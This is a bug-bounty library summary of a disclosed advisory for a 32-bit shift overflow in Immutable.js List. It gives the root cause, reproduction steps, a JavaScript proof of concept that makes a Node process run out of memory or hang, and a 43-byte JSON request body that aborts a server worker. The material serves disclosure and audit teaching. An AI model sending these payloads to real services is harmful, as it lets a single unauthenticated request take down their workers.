# Immutable.js `List` 32-bit trie overflow → unrecoverable DoS

Immutable.js List mishandles indices in [2^30, 2^31): signed 32-bit shift wraps, causing uncatchable infinite loop or OOM abort via a single request.

- Payout: Research
- Severity: high
- Program: Immutable.js
- Found by: mateuszismyname, jdeniau, ravali-ch15, domcleal
- Disclosed: 2026-07-21
- CVE: CVE-2026-59879
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-v56q-mh7h-f735
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v56q-mh7h-f735
- Tags: area:oss domain:oss impact:dos kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:dos vuln:memory-corruption

**Target:** npm immutable List set/setSize/setIn/updateIn trie bounds
**Root cause:** setListBounds() uses signed 32-bit bitwise arithmetic; `1 << (newLevel + SHIFT)` wraps negative at shift 31 so the level-raising loop never terminates, and `| 0` coercion silently wraps large sizes.
**Steps:**
1. `fromJS({ items: new Array(64).fill(0) }).setIn(['items', '1073741824'], 'x')` → OOM, SIGABRT exit 134 within ~2s
2. `List().set(2 ** 30, 'x')` → uncatchable infinite CPU spin
3. `List([1,2,3]).setSize(2 ** 31)` → size 0; `setSize(2 ** 32 + 5)` → size 5
4. Remote: 43-byte request `{"path":["items","1073741824"],"value":"x"}` applied via `state.setIn(path, value)` aborts worker
**How found:** Reporter analyzed the 32-wide trie (SHIFT=5) and noticed the level-raising loop's `1 << (newLevel + SHIFT)` relies on JS shift counts taken mod 32, so the term goes negative at 31 and wraps to 1 at 32, keeping the comparison true forever.
**Exploitation:** Any endpoint routing untrusted input into a List index or setIn/updateIn key-path (config stores, JSON-Patch, redux-immutable reducers) lets a single small unauthenticated request with a numeric-string index in [2^30, 2^31) hang or abort the worker.
**Insight:** When auditing JS data structures with bitwise trie arithmetic, check every `1 << n` where n is derived from user-controlled size/index: shift counts are mod 32, so thresholds at 2^30/2^31 silently flip sign or wrap instead of erroring.

## Proof of concept (copied exactly from the original report)

**Reproduction script: OOM, hang, silent truncation**

```
import { fromJS, List } from 'immutable';

// 1) Populated List: OOM -> process abort (SIGABRT, exit 134) within ~2s
fromJS({ items: new Array(64).fill(0) }).setIn(['items', '1073741824'], 'x');

// 2) Empty List: hangs forever, uncatchable
List().set(2 ** 30, 'x');

// 3) Silent truncation
List([1, 2, 3]).setSize(2 ** 31); // => size 0
List([1, 2, 3]).setSize(2 ** 32 + 5); // => size 5
```

**43-byte HTTP request that aborts worker**

```
A remote 43-byte HTTP request (`{"path":["items","1073741824"],"value":"x"}`) is sufficient to abort a worker that applies it via `state = state.setIn(path, value)`.
```

